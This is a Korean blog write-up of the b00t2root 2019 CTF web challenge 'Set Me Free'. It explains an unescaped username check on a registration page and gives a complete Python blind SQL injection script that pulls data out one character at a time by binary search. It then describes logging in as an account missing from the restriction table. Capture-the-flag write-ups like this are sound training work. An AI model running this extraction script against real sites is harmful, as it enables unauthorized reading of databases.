Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Archives
Today
Total
관리 메뉴

White Security

Set Me Free 문제풀이 본문

CTF Writups

Set Me Free 문제풀이

POSIX 2019. 3. 30. 21:26

 

b00t2root 2019 web 2번

SQL 인젝션 문제입니다.

 

 

링크에 접속하면 소스가 출력되는 것을 확인할 수 있습니다.

다른 페이지에서도 모두 마찬가지입니다.

 

 

가입 페이지에 접근하면 위와 같은 소스를 볼 수 있는데

유저를 생성하기 위해 유저네임이 사용중인지 검증하는 쿼리에서

문자열 escape 처리가 되어 있지 않은데요.

 

여기서 blind sql injection을 사용해 문제를 해결할 수 있습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from urllib import request, parse
import sys, math
 
def send(query):
 
    data = parse.urlencode({ 'username' : "') and if((%s),1,0) #" % query }).encode()
 
    req = request.Request('http://3.16.68.122/smf/register.php', data = data)
    req.get_method = lambda : 'POST'
    res = request.urlopen(req).read().decode()
     
    return res.find('User Not Registered') != -1; # means true
 
def greater_than_or_equal(query, i):
    return send('%s >= %d' % (query, i));
     
def equal(query, i):
    return send('%s = %d' % (query, i));
 
def search(query):
    min_val = 0
    max_val = 128
     
    while min_val + 1 < max_val:
        mid = math.floor((min_val + max_val) / 2)
         
        if greater_than_or_equal(query, mid):
            min_val = mid
        else:
            max_val = mid
     
    if not equal(query, min_val):
        return search(query)
     
    return min_val
     
def get_length(query):
    return search('length((%s))' % query)
     
def get_and_print_content(query, length):
    content = ''
    for i in range(length):
        content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1)))
        sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content))))
    print('')
    return content
 
if __name__ == '__main__':
    arg = ' '.join(sys.argv[1:])
     
    content_len = get_length(arg)
    get_and_print_content(arg, content_len)

 

 

파이썬 3.7 기준 코드로 이진 검색을 사용하여 작성하였습니다.

 

 

users 테이블과 chck 테이블에는 사용자 정보와

접근 제한 정보를 따로 설정해 두었습니다.

 

처음에는 isRestricted 값이 FALSE 인 계정을 찾아보았는데

전혀 존재하지 않아서, 애초에 chck 테이블에 등록이 되지 않은

계정을 탐색하였습니다.

 

 

chck 테이블에 등록이 되어있지 않으면

isRestricted 값이 FALSE 인 상태와

동일하게 분기를 통과하게 됩니다.

 

 

따라서 chck 테이블의 userid 칼럼과 중복되지 않은

users.id 값을 가지고 있는 계정을 찾아 로그인 하면 되겠습니다. 

 

 

 

'CTF Writups' 카테고리의 다른 글

eXquisite Scenery Sites 문제풀이  (9) 2019.03.30
PingService 문제풀이  (0) 2019.03.30
Easy PHP 문제풀이  (0) 2019.03.30
neverlanctf 2019 - React to this writeup  (0) 2019.02.04
neverlanctf 2019 - purvesta writeup  (0) 2019.02.04